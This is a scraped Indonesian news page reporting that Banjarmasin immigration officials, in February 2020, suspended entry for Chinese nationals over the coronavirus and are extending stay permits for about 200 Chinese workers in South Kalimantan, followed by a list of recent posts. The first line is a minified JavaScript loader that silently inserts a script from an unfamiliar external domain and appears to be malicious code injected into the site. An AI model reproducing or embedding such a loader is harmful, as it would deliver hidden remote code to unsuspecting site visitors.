(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terkait Corona, Imigrasi Banjarmasin Perpanjang Izin Tinggal Sebanyak 200 WNA China di Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Merebaknya virus corona yang berasal dari Wuhan, China, membuat Kantor Imigras Kelas I Banjarmasin memutuskan menghentikan seluruh izin masuk Warga Negara Asing (WNA) China ke Kalimantan Selatan.

Keputusan ini berlaku sejak Rabu (5/2/2020) yang tertuang dalam Peraturan Menteri Hukum dan Hak Asasi Manusia Republik Indonesia Nomor 3 Tahun 2020 tentang penghentian sementara bebas visa kunjungan dan visa, dan pemberian izin tinggal keadaan terpaksa bagi warga negara Republik Rakyat Tiongkok.

“Hari ini kita menerima surat edarannya dan hari ini juga berlaku. Selain itu kita juga melakukan pemeriksaan di pelabuhan laut maupun bandara udara. Kita juga sudah melakukan koordinasi dengan pihak kesehatan, terkait pengawasan WNA,” kata Kepala Seksi Teknologi Informasi Kantor Imigrasi Kelas I Banjarmasin, Adityo, Rabu (5/2/2020) sore.

Hingga Februari 2020 ini, tercatat ada kurang lebih 200 WNA China yang berada di Kalimantan Selatan. Dijelaskan Adityo, keberadaan ratusan WNA China di Kalsel untuk keperluan pekerjaan di sejumlah perusahaan swasta.

Lantas, bagaimana dengan nasib ratusan WNA China yang berada di Kalimantan Selatan tersebut? Sesuai Peraturan Menteri Hukum dan Hak Asasi Manusia Republik Indonesia, dalam hal ini Kantor Imigrasi Kelas I Banjarmasin akan mengeluarkan perpanjangan izin tinggal dalam keadaan mendesak atau terpaksa kepada ratusan WNA China tersebut.

Artinya, WNA China yang saat ini berada di Kalimantan Selatan tidak akan dipulangkan ke negara asalnya dan justru akan tetap tinggal di Kalimantan Selatan. “Mereka tidak akan dipulangkan, tapi malah kita akan berikan perpanjangan izin hingga batas waktu yang tidak ditentukan,” terang Adityo.

Rencananya, Kantor Imigrasi Kelas I Banjarmasin akan mengirimkan surat pemberitahuan untuk mengurus perpanjangan izin ini ke masing-masing perusahaan tempat dimana WNA China tersebut bekerja.

Perlu diketahui, dalam mengantisipasi virus corona masuk ke Kalimantan Selatan, Kantor Kesehatan Pelabuhan (KKP) telah mengoperasikan alat thermal scanner atau pemindai suhu tubuh di terminal kedatangan Bandara Internasional Syamsudin Noor. Hal ini juga dilakukan di pelabuhan. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

10 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

11 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

12 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

13 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

16 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

19 jam ago

This website uses cookies.